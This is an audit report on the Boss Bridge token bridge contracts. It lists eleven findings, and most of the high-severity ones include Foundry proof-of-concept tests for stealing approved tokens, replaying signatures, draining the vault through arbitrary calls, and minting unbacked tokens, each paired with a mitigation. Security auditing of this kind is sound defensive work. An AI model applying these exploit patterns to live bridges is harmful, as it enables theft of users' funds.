Boss Bridge Protocol Audit Report

Version 1.0

0xl33

December 18, 2024

Boss Bridge Protocol Audit Report

0xl33

December 18. 2024

Prepared by: 0xl33

Table of Contents

    * [H-5] `CREATE` opcode does not work on zkSync Era
    * [H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check makes the contract vulnerable to denial of service
    * [H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited
    * [H-8] `TokenFactory::deployToken` locks tokens forever
  - Medium
    * [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
  - Low
    * [L-1] Lack of event emission during withdrawals and sending tokens to L1
    * [L-2] `TokenFactory::deployToken` can create multiple tokens with same `symbol`

Protocol Summary

This project presents a simple bridge mechanism to move ERC20 tokens from L1 to L2. The L2 part of the bridge is still under construction.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that the off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's a strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

Risk Classification

	Impact		
	High	Medium	Low
High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:

  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)

- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Known Issues

- The bridge is centralized and owned by a single user.
- Missing some zero address checks/input validation intentionally to save gas.
- Magic numbers defined as literals that should be constants.
- Assume the `deployToken` will always correctly have an L1Token.sol copy, and not some weird erc20

Executive Summary

Issues found

Severity	Number of issues found
High	8
Medium	1
Low	2
Total	11

Findings

High

[H-1] Users who give token approvals to `L1BossBridge` may have those assets stolen

Description: The `L1BossBridge::depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim's account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Impact: Any user who approves `L1BossBridge` to spend tokens on their behalf, risks their tokens being stolen.

Proof of Concept:

Include the following test in the `L1BossBridge.t.sol` file:

```
    function testArbitraryFromInTransferFrom() public {
        uint256 userBalance = token.balanceOf(user);

        vm.prank(user);
        console2.log("Starting token balance of user:", userBalance);
        token.approve(address(tokenBridge), userBalance);
        console2.log(
            "User approves whole token balance for the bridge to spend
                on their behalf, as a preparation to call
                depositTokensToL2()."
        );

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, userBalance);
        tokenBridge.depositTokensToL2(user, attacker, userBalance);
        console2.log(
            "Attacker detects that an user approved tokens for the
                bridge to spend on their behalf, and calls
                depositTokensToL2() before the user, inputting their own
                 address as the recipient."
        );
        console2.log("Ending token balance of user:", token.balanceOf(
            user));
        console2.log(
            "Token balance of vault:",
            token.balanceOf(address(vault))
        );

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), userBalance);
        vm.stopPrank();
    }
```

Run this test with this command: `forge test --mt testArbitraryFromInTransferFrom -vv`

Recommended Mitigation: Consider modifying the `L1BossBridge::depositTokensToL2` function so that the caller cannot specify a `from` address.

Example fix:

```
- function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` and inputting `from` as the vault contract address allows infinite minting of unbacked tokens

Description: `L1BossBridge::depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

Impact: A user can mint a large number of unbacked tokens to themselves.

Proof of Concept:

Include the following test in the `L1TokenBridge.t.sol` file:

```
    function testInfiniteMintingOnL2() public {

        // assume the vault already holds some tokens
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // Can trigger the `Deposit` event self-transferring tokens in
           the vault
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
```

```
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
        console2.log(
            "Attacker calls depositTokensToL2(), transfering tokens
                from vault to vault, and inputting their own address as
                the receiver on l2."
        );

        // second time calling depositTokensToL2(), just to show that
            it works
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
        console2.log(
            "Attacker can do this multiple times if needed, because
                vault's token balance on l1 remains the same."
        );

        vm.stopPrank();
    }
```

Run this test with this command: `forge test --mt testInfiniteMintingOnL2 -vv`

Recommended Mitigation: As suggested in H-1, consider modifying the `L1BossBridge::depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` function allows withdrawals by signature to be replayed

Description:

Users who want to withdraw tokens from the bridge can call the `L1BossBridge::sendToL1` function, or the wrapper `L1BossBridge::withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanism (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Impact: Vault token balance can be completely drained by repeatedly submitting calls to `withdrawTokensToL1` function, using the same valid signature.

Proof of Concept:

Include the following test in the `L1TokenBridge.t.sol` file:

```
    function testSignatureReplay() public {
```

```
        // assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), attacker, attackerInitialBalance);

        // attacker deposits tokens to l2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), attackerInitialBalance);
        tokenBridge.depositTokensToL2(
            attacker,
            attacker,
            attackerInitialBalance
        );

        // signer/operator signs the first withdrawal
        bytes memory message = abi.encode(
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), attacker, attackerInitialBalance)
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        // attacker calls withdrawTokensToL1() until vault's balance is
             empty, by reusing the same signature
        while (token.balanceOf(address(vault)) > 0)
            tokenBridge.withdrawTokensToL1(
                attacker,
                attackerInitialBalance,
                v,
                r,
                s
            );

        assertEq(
            token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance
        );
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Run this test with this command: `forge test --mt testSignatureReplay`

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description:

The `L1BossBridge` contract includes the `sendToL1` function, that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes its `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a high severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Impact: Vault contract balance can be completely drained by any user.

Proof of Concept:

Include the following test in the `L1BossBridge.t.sol` file:

```
    function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);
        console2.log(
            "Starting balance of vault:",
            token.balanceOf(address(vault))
        );
        console2.log(
            "Starting balance of attacker:",
            token.balanceOf(attacker)
        );

        // An attacker deposits tokens to L2. We do this under the
            assumption that the
        // bridge operator needs to see a valid deposit tx to then
            allow us to request a withdrawal.
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(attacker, address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

```

```
        // Under the assumption that the bridge operator doesn't validate bytes being signed
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(
                L1Vault.approveTo,
                (address(attacker), type(uint256).max)
            ) // data
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key); // operator signs the message

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
        token.transferFrom(
            address(vault),
            attacker,
            token.balanceOf(address(vault))
        );
        console2.log(
            "Ending balance of vault:",
            token.balanceOf(address(vault))
        );
        console2.log("Ending balance of attacker:", token.balanceOf(attacker));

        vm.stopPrank();
    }
```

Run the test with this command: `forge test --mt testCanCallVaultApproveFromBridgeAndDrainV -vv`

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zkSync Era

Summary: In the current codebase developers are using `CREATE`, but in zkSync Era `CREATE` for arbitrary bytecode is not available, so a revert occurs in the `deployToken` process.

Vulnerability Details: According to the contest `README.md` file, the project can be deployed in zkSync Era. The zkSync Era docs explain how it differs from Ethereum.

The description of `CREATE` and `CREATE2` (https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#create-create2) states that `CREATE` cannot be used for arbitrary code unknown to the compiler.

According to zkSync, `The following code will not function correctly because the compiler is not aware of the bytecode beforehand`:

```
function myFactory(bytes memory bytecode) public {
   assembly {
      addr := create(0, add(bytecode, 0x20), mload(bytecode))
   }
}
```

Now if we look at the code of `Boss Bridge` here we can see that `TokenFactory` contract is using exactly similar code which is as below:

```
    function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr) {
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(
                contractBytecode))
        }
```

Impact: Protocol is not compatible with zkSync.

Recommended Mitigation:

Follow the instructions that are stated in zksync docs here

`To guarantee that create/create2 functions operate correctly, the compiler must be aware of the bytecode of the deployed contract in advance. The compiler interprets the calldata arguments as incomplete input for ContractDeployer, as the remaining part is filled in by the compiler internally. The Yul datasize and dataoffset instructions have been adjusted to return the constant size and bytecode hash rather than the bytecode itself`

The code below should work as expected:

```
MyContract a = new MyContract();
MyContract a = new MyContract{salt: ...}();
```

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check makes the contract vulnerable to denial of service

Description: The function `depositTokensToL2` has a deposit limit that limits the amount of funds that a user can deposit into the bridge. The problem is that it uses the contract balance to track this invariant, opening the door for a malicious actor to make a donation to the vault contract to ensure that the deposit limit is reached causing a potential victim's harmless deposit to unexpectedly revert.

Impact: User will not be able to deposit tokens to the bridge in some situations

Proof of Concept:

Modify the `testUserCannotDepositBeyondLimit` test in the `L1BossBridge.t.sol` file like so:

```
    function testUserCannotDepositBeyondLimit() public {
        address user2 = makeAddr("user2");
        vm.startPrank(user2);

        uint DOSamount = 20;
        deal(address(token), user2, DOSamount);
        token.approve(address(token), 20);

        token.transfer(address(vault), 20);

        vm.stopPrank();

        vm.startPrank(user);
        uint256 amount = tokenBridge.DEPOSIT_LIMIT() - 9;
        deal(address(token), user, amount);
        token.approve(address(tokenBridge), amount);

        vm.expectRevert(
            L1BossBridge.L1BossBridge__DepositLimitReached.selector
        );
        tokenBridge.depositTokensToL2(user, userInL2, amount);
        vm.stopPrank();
    }
```

Run the test with this command: `forge test --mt testUserCannotDepositBeyondLimit`

Recommended Mitigation: Use a mapping to track the deposit limit of each use instead of using the contract balance

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

Vulnerability Details:

The `withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount. As such any user can drain the entire vault. Note that even the docs state that the `operator`, before signing a message, only checks that the user had made a successful deposit; nothing about the deposit amount:

> The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, ***checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge***.

Steps:

- Attacker deposits 1 wei (or 0 wei) into the L2 bridge.
- Attacker crafts and encodes a malicious message and submits it to the `operator` to be signed by them. The malicious message has `amount` field set to a high value, like the total funds available in the `vault`.
- Since the attacker had deposited 1 wei, operator approves & signs the message, not knowing the contents of it since it is encoded.
- Attacker calls `L1BossBridge::withdrawTokensToL1()`.
- All vault's funds are transferred to the attacker.

Impact: Attacker can steal all the funds from the vault.

Proof of Concept:

Include the following test in the `L1BossBridge.t.sol` file:

```
    function testWithdrawMoreThanDeposited() public {
        // Assume vault has some funds in it and attacker has 1 wei
        uint256 vaultInitialBalance = token.balanceOf(address(vault));
        deal(address(token), address(vault), 100 ether);
        deal(address(token), attacker, 1 wei);
        assertEq(
            token.balanceOf(address(vault)),
            vaultInitialBalance + 100 ether
        );

        // depositing 1 wei to pass the signer's check
        vm.startPrank(attacker);
        uint256 depositAmount = 1 wei;
        uint256 attackerInitialBalance = token.balanceOf(address(
            attacker));
        token.approve(address(tokenBridge), depositAmount);
        tokenBridge.depositTokensToL2(attacker, attacker, depositAmount
            );
        assertEq(
            token.balanceOf(address(vault)),
            vaultInitialBalance + 100 ether + depositAmount
        );
```

```
        assertEq(
            token.balanceOf(attacker),
            attackerInitialBalance - depositAmount
        );

        // attack
        uint256 vaultBalance = token.balanceOf(address(vault));
        bytes memory maliciousMessage = abi.encode(
            address(token), // target
            0, // value
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), attacker, vaultBalance)
            ) // data
        );
        vm.stopPrank();

        // operator signs the message off-chain since attacker had deposited 1 wei earlier into the L2 bridge
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(
            maliciousMessage,
            operator.key
        );

        vm.startPrank(attacker);
        tokenBridge.withdrawTokensToL1(attacker, vaultBalance, v, r, s);
        vm.stopPrank();

        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(
            token.balanceOf(attacker),
            attackerInitialBalance - depositAmount + vaultBalance
        );
    }
```

Run the test with this command: `forge test --mt testWithdrawMoreThanDeposited`

Recommended Mitigation: Add a mapping that keeps track of the amount deposited by an address inside the `depositTokensToL2` function, and validate that inside `withdrawTokensToL1` function.

Add a new mapping in `L1BossBridge`:

```
    IERC20 public immutable token;
    L1Vault public immutable vault;
    mapping(address account => bool isSigner) public signers;
+   mapping(address account => uint256 amount) public deposited;
```

Add a new custom error in `L1BossBridge`:

```
    error L1BossBridge__DepositLimitReached();
    error L1BossBridge__Unauthorized();
    error L1BossBridge__CallFailed();
+   error L1BossBridge__InvalidWithdrawalAmount();
```

Add this line inside the `depositTokensToL2` function:

```
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
+   deposited[from] += amount;
    token.safeTransferFrom(from, address(vault), amount);
```

Edit the `withdrawTokensToL1` function like so:

```
+       if(amount > deposited[msg.sender]) revert
    L1BossBridge__InvalidWithdrawalAmount();
+       deposited[msg.sender] -= amount;
        sendToL1(
            v,
            r,
```

[H-8] `TokenFactory::deployToken` locks tokens forever

Summary: `L1Token` contract deployment from `TokenFactory` locks tokens forever

Vulnerability Details:

`TokenFactory::deployToken` deploys `L1Token` contracts, but the `L1Token` mints initial supply to `msg.sender`, in this case, the `TokenFactory` contract itself. After deployment, there is no way to either transfer out these tokens or mint new ones, as the holder of the tokens, `TokenFactory`, has no functions for this, also not an upgradeable contract, so all token supply is locked forever.

Impact: Using this token factory to deploy tokens will result in unusable tokens, and no transfers can be made.

Recommended Mitigation:

Consider passing a receiver address for the initial minted tokens, different from `msg.sender`:

```
contract L1Token is ERC20 {
    uint256 private constant INITIAL_SUPPLY = 1_000_000;

-    constructor() ERC20("BossBridgeToken", "BBT") {
+    constructor(address receiver) ERC20("BossBridgeToken", "BBT") {
-         _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
+         _mint(receiver, INITIAL_SUPPLY * 10 ** decimals());
    }
```

```
}
```

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description:

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a "return bomb" to the caller. This would be done by returning a large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spend more ETH than necessary to execute the call.

Impact: Unbounded gas consumption, which would lead to expensive operations.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as `ExcessivelySafeCall`.

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Description: Neither the `L1BossBridge::sendToL1` function nor the `L1BossBridge::withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Impact:

Proof of Concept:

Recommended Mitigation: Modify the `L1BossBridge::sendToL1` function to include a new event that is always emitted upon completing withdrawals.

```
    event Deposit(address from, address to, uint256 amount);
+   event Withdrawal(address to, uint256 amount, bytes data);
```

```
    function sendToL1(
        uint8 v,
        bytes32 r,
        bytes32 s,
        bytes memory message
    ) public nonReentrant whenNotPaused {
        address signer = ECDSA.recover(
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
                ,
            v,
            r,
            s
        );

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode
            (
            message,
            (address, uint256, bytes)
        );
+       emit Withdrawal(target, value, data);

        (bool success, ) = target.call{value: value}(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

[L-2] `TokenFactory::deployToken` can create multiple tokens with same `symbol`

Summary: `TokenFactory::deployToken` creates new tokens by taking token `symbol` and token `contractByteCode` as arguments, owner can create multiple tokens with same `symbol` by mistake.

Vulnerability Details:

`deployToken` is not checking whether that token exists or not.

How it works:

1. Owner creates a token with symbol `TEST` and it will store `tokenAddress` in `s_tokenToAddress` mapping.
2. Owner once again creates a token with symbol `TEST` and this will replace the previous `tokenAddress` with the same symbol.

Impact: If that token is being used in validation then all the token holders will lose funds.

Proof of Concept:

Import `TokenFactory` in the `L1TokenBridge.t.sol` file:

```
+    import {TokenFactory} from "../src/TokenFactory.sol";
```

Declare `tokenFactory` object like so:

```
     L1Token token;
     L1BossBridge tokenBridge;
     L1Vault vault;
+    TokenFactory tokenFactory;
```

Create a new `TokenFactory` object in the `setUp` function like so:

```
     function setUp() public {
         vm.startPrank(deployer);

         // Deploy token and transfer the user some initial balance
         token = new L1Token();
         token.transfer(address(user), 1000e18);

         // Deploy bridge
         tokenBridge = new L1BossBridge(IERC20(token));
         vault = tokenBridge.vault();
+        tokenFactory = new TokenFactory();

         // Add a new allowed signer to the bridge
         tokenBridge.setSigner(operator.addr, true);

         vm.stopPrank();
     }
```

Add this function to the `L1TokenBridge.t.sol` file:

```
function testduplicateTokens() public {
        vm.startPrank(deployer);

        // deploying the first token
        tokenFactory.deployToken("TEST", type(L1Token).creationCode);

        // deploying the duplicate token
        address duplicate = tokenFactory.deployToken(
            "TEST",
            type(L1Token).creationCode
        );

        vm.stopPrank();

```

```
        // here you can see that the returned token address is the
           duplicate one
        assertEq(tokenFactory.getTokenAddressFromSymbol("TEST"),
           duplicate);
    }
```

Run this function with this command: `forge test --mt testduplicateTokens`

Recommended Mitigation:

Create a new custom error in `TokenFactory` contract:

```
+    error TokenFactory_TokenAlreadyExists();
```

Use a check to see if that token exists in `TokenFactory::deployToken`:

```
+     if (s_tokenToAddress[symbol] != address(0)) revert
    TokenFactory_TokenAlreadyExists();
```